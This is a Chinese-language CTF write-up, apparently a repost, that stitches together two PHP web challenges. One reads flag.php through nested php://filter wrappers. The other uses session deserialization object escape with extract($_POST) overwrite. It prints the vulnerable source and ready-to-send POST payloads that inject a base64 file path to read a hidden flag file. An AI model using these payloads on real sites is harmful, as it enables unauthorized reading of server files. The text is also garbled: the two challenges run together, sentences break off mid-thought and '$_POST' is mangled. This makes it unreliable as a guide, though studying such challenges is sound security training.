Cheer up!
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
本文共 5472 字,大约阅读时间需要 18 分钟。
考点: php伪协议嵌套
启动环境:得到源码:
Had a bad day? Had a bad day?Cheer up!
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
查看其中的PHP代码:
源码分析:
猜测其存在flag.php页面(flag常常会放在这里):
Can you read this flag?
提示需要读取flag,尝试继续使用php伪协议读取flag.php php://filter/read=convert.base64-encode/resource=flag
但源码中说明需要包含woofers、meowers、index,所以查阅资料,php伪协议可以嵌套使用,即构造
php://filter/read=convert.base64-encode/meowers/resource=flag
1.考点
锻炼代码审计能力和学习
PHP反序列化
反序列化中的对象逃逸
首先回顾几个点:
序列化后的结果是一串字符串。 反序列化会解开序列化的字符串生成相应类型的数据。如下代码示例,img是一个数组,下标分别是one和two,对应的值分别是flag,test。
string(4) "flag" ["two"]=> string(4) "test"}*/
序列化部分:
经过serialize序列化后生成了相应的字符串: a:2:{s:3:“one”;s:4:“flag”;s:3:“two”;s:4:“test”;}
a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。
花括号中的s都表示string即字符串,
s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4
反序列化部分:
unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。可见解序列化后由变量$b,接收了img数组。
序列化中每个字母的表示source_code';}if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');}else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){ highlight_file('index.php');}else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));}
我把可以对应起来的代码放到了一起
$function = @$_GET['f'];if($function == 'highlight_file'){ highlight_file('index.php');}else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));}
思路大概是:
流程:
根据上面可以清楚,f是我们用get方法传参得到的变量并由$function接收。$function发挥作用的代码块,在最下方的判断句。
咱们初步访问的时候f=highlight_file,
判断句中给了提示,那么f=phpinfo时,我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。
我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。
所以可以猜测flag应该要从d0g3_f1ag.php拿
最下面有题是说让我们查看phpinfo,于是在phpinfo()里找到了第一种为关键词数增加 例如: where->hacker,这样词数由五个增加到6个第二种为关键词数减少例如:直接过滤掉一些关键词,例如这道题目中第一种情况比较好构造,直接构造多个关键词,这样就能逃出几个字符第二种可以是通过键逃逸和值逃逸
源码中唯一可以读取的就是file_get_content()函数.当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密,所以我们先记住这个点,一会肯定要用
变量覆盖
if($_SESSION){ unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST);
最上面的filter函数是为了过滤用的,可以先继续往下看,到如下的时候。
我们可以发现unset把原来的session销毁了,然后又给session附上了新的值。最后调用了extract( P O S T ) ; 。 这 个 e x t r a c t ( _POST);。这个extract( POST);。这个extract(_POST);是可以进行变量覆盖的,也就是说原来的_SESSION会丢失。
本地举个例子:
";extract($_POST);var_dump($_SESSION);
继续往下有这样两行代码:
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');}else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}
可见我们是否传入img_path参数,img参数还是会被附上一个值。
所以我们要想办法让这个img参数等于d0g3_f1ag.php的base64编码。因为有字符串的替换,能想到这里是键值逃逸。因为序列化好的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后数4个。并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。我们有了这个逃逸概念的话,就大概可以理解了。如果我们把
$_SESSION[‘img’] = base64_encode(‘guest_img.png’);这段代码的img属性放到花括号外边去,
然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。
那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空
payload:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
ZDBnM19mMWFnLnBocA也就是d0g3_f1ag.php的base64加密。
s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA”;}这个肯定就是我们预期的那段序列化字符. 我们先本地调试一下,代码:";extract($_POST);$_SESSION['img'] = base64_encode('guest_img.png');var_dump($_SESSION);echo "";//$serialize_info = filter(serialize($_SESSION));var_dump( serialize($_SESSION) );
这段本地调试代码和题目中的步骤是一样的,我们传入POST参数:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
那么过滤掉php和flag之后这串字符串就会变成a:2:{s:7:"";s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}
这里,s:7:“和后面数7个字符配对,配到了”;s:54: 然后值是1。
中间img的键,值为ZDBnM19mMWFnLnBocA==。花括号后面的img原值都被抛弃。这里我们自己构造的img值就逃逸了出来。用这个payload;_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
转载地址:http://zelx.baihongyu.com/